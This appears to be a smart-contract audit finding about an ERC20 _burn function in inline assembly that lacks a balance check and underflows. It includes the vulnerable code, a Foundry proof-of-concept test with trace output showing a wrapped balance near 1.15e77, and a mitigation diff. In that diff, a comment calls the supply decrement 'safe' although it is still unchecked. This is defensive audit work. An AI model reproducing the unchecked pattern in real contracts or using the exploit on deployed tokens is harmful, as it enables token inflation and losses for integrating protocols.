Root + Impact
Description
Normal behavior (expected)
A compliant ERC20 implementation must ensure that burn():
reduces the account balance only if the balance is sufficient
reverts on underflow
ensures total supply cannot underflow
prevents minting tokens via negative arithmetic
Actual behavior (bug)
The _burn() function performs:
sstore(accountBalanceSlot, sub(accountBalance, value))
function _burn(address account, uint256 value) internal {
assembly ("memory-safe") {
if iszero(account) {
mstore(0x00, shl(224, 0x96c6fd1e))
mstore(add(0x00, 4), 0x00)
revert(0x00, 0x24)
}
let ptr := mload(0x40)
let balanceSlot := _balances.slot
let supplySlot := _totalSupply.slot
let supply := sload(supplySlot)
sstore(supplySlot, sub(supply, value))
mstore(ptr, account)
mstore(add(ptr, 0x20), balanceSlot)
let accountBalanceSlot := keccak256(ptr, 0x40)
let accountBalance := sload(accountBalanceSlot)
sstore(accountBalanceSlot, sub(accountBalance, value))
}
}
Risk
Likelihood
The function is callable by any internal or external wrapper .
The vulnerability activates whenever the burn amount exceeds the actual balance.
No internal invariant prevents underflow.
Impact:
The attacker can give themselves a massive number of tokens nearly equal to 2^256
Total supply becomes corrupted or wrapped.
Any DeFi protocol integrating this token (DEX, lending protocol, staking) becomes fully compromised.
Proof of Concept
add this fuction on test suite
function test_burnMoreThanBalance_changesToHugeBalance() public {
vm.recordLogs();
token.burnPublic(address(this), 200);
uint256 newBalance = token.balanceOf(address(this));
assertTrue(
newBalance >
1e70,
"underflow occurred and produced large balance (PoC)"
);
}
The provided Foundry test demonstrates that calling burn() on an address with insufficient balance does not revert. Instead, the balance silently underflows, wrapping to a value near 2^256. The PoC verifies this by calling burn(200) on an address with a zero balance and asserting that the resulting balance is extremely large (greater than 1e70). The test passes and the traces confirm the massive underflowed balance. This proves that the _burn() function lacks the required balance check and can be exploited to mint an effectively unlimited amount of tokens, breaking total supply invariants and enabling complete economic corruption of the token
Foundry Test Log:
Ran 1 test for test/Issue3_BurnNoBalanceCheck.t.sol:Issue3_BurnNoBalanceCheckTest
[PASS] test_burnMoreThanBalance_changesToHugeBalance() (gas: 21535)
Traces:
[21535] Issue3_BurnNoBalanceCheckTest::test_burnMoreThanBalance_changesToHugeBalance()
├─ [10848] TestToken::burnPublic(Issue3_BurnNoBalanceCheckTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 200)
│ └─ ← [Stop]
├─ [721] TestToken::balanceOf(Issue3_BurnNoBalanceCheckTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall]
│ └─ ← [Return] 115792089237316195423570985008687907853269984665640564039457584007913129639836 [1.157e77]
├─ [0] VM::assertTrue(true, "underflow occurred and produced large balance (PoC)") [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.54ms (144.94µs CPU time)
Ran 1 test suite in 203.72ms (7.54ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
The attacker now holds 115792089237316195423570985008687... tokens (≈1.15e77), as confirmed by Foundry test output.
Recommended Mitigation
Fix: Add explicit balance checks before subtraction
function _burn(address account, uint256 value) internal {
assembly ("memory-safe") {
+ // Ensure account has enough balance
+ {
+ let ptr := mload(0x40)
+ mstore(ptr, account)
+ mstore(add(ptr, 0x20), _balances.slot)
+
+ let accSlot := keccak256(ptr, 0x40)
+ let bal := sload(accSlot)
+
+ if lt(bal, value) {
+ // revert with "ERC20InsufficientBalance"
+ mstore(0x00, shl(224, 0xe0d18e8e))
+ mstore(0x04, account)
+ mstore(0x24, value)
+ mstore(0x44, bal)
+ revert(0x00, 0x64)
+ }
+ }
let ptr := mload(0x40)
let balanceSlot := _balances.slot
let supplySlot := _totalSupply.slot
- let supply := sload(supplySlot)
- sstore(supplySlot, sub(supply, value))
+ // total supply safe decrement
+ sstore(supplySlot, sub(sload(supplySlot), value))
mstore(ptr, account)
mstore(add(ptr, 0x20), balanceSlot)
let accountBalanceSlot := keccak256(ptr, 0x40)
let accountBalance := sload(accountBalanceSlot)
- sstore(accountBalanceSlot, sub(accountBalance, value))
+ sstore(accountBalanceSlot, sub(accountBalance, value))
}
}